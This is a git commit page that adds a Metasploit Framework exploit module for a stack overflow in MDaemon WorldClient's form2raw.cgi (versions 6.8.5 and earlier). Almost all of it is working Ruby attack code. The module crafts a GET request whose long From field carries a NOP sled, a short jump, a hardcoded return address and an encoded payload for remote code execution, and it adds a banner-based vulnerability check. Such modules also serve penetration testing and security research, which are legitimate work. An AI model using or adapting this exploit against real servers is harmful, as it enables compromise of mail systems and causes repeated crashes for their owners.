Added MDaemon WorldClient Form2Raw.cgi exploit module.
git-svn-id: file:///home/svn/framework3/trunk@6736 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
69725e75a2
commit
a4e0c88a1b
|
@ -0,0 +1,110 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack overflow in Alt-N MDaemon SMTP server for
|
||||||
|
versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),
|
||||||
|
a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,
|
||||||
|
by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),
|
||||||
|
the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based
|
||||||
|
overflow occurs when an excessively long From field is specified.
|
||||||
|
The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.
|
||||||
|
Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait.
|
||||||
|
|
||||||
|
Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very
|
||||||
|
reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will
|
||||||
|
continue to crash/execute the payload until the CGI output is manually deleted
|
||||||
|
from the queue in C:\MDaemon\RawFiles\*.raw.
|
||||||
|
},
|
||||||
|
'Author' => [ 'patrick' ],
|
||||||
|
'Arch' => [ ARCH_X86 ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'BID', '9317' ],
|
||||||
|
[ 'CVE', '2003-1200' ],
|
||||||
|
[ 'OSVDB', '3255' ],
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 900,
|
||||||
|
'BadChars' => "\x00\x0a\x0d%\x20@<>&?|,;=`()${}\#!~\"\xff\/\\",
|
||||||
|
'StackAdjustment' => -3500,
|
||||||
|
},
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
# Patrickw - Tested OK-ish 20090702 w2k
|
||||||
|
[ 'Universal MDaemon.exe', { 'Ret' => 0x022fcd46 } ], # direct memory jump :(
|
||||||
|
[ 'Debugging test', { 'Ret' => 0x44434241 } ],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Dec 29 2003',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(3000),
|
||||||
|
],self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
connect
|
||||||
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
||||||
|
banner = sock.get(-1,3)
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
if (banner =~ /WDaemon\/6\.8\.[0-5]/)
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
|
||||||
|
sploit = "GET /form2raw.cgi?From=" # Trigger vuln
|
||||||
|
sploit << "\x90" * 242 # We set EIP to the middle of this.
|
||||||
|
sploit << Rex::Arch::X86.jmp_short(61) # Then jump over some junk memory.. 60 is precise but is a badchar.
|
||||||
|
sploit << [target['Ret']].pack('V') + "c" # Return address, plus 1 byte overwrite for ESP... 'c'
|
||||||
|
sploit << "&To=#{Rex::Text.rand_text_alpha(12)}@#{Rex::Text.rand_text_alpha(12)}.#{Rex::Text.rand_text_alpha(3)}"
|
||||||
|
sploit << "&Body=" + "\x90" * 1 # 1 Byte for short jump.
|
||||||
|
sploit << payload.encoded + " HTTP/1.0"
|
||||||
|
|
||||||
|
sock.put(sploit + "\r\n\r\n")
|
||||||
|
res = sock.get(3,3)
|
||||||
|
|
||||||
|
if (res =~ /Message spooled but will be deleted if not FROM a valid account/)
|
||||||
|
print_status("Payload accepted by WorldClient Form2Raw CGI!")
|
||||||
|
print_status("Wait for the Raw Queue to be processed (1 to 60 minutes).")
|
||||||
|
else
|
||||||
|
print_status("Message not accepted. Vulnerable target?")
|
||||||
|
end
|
||||||
|
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue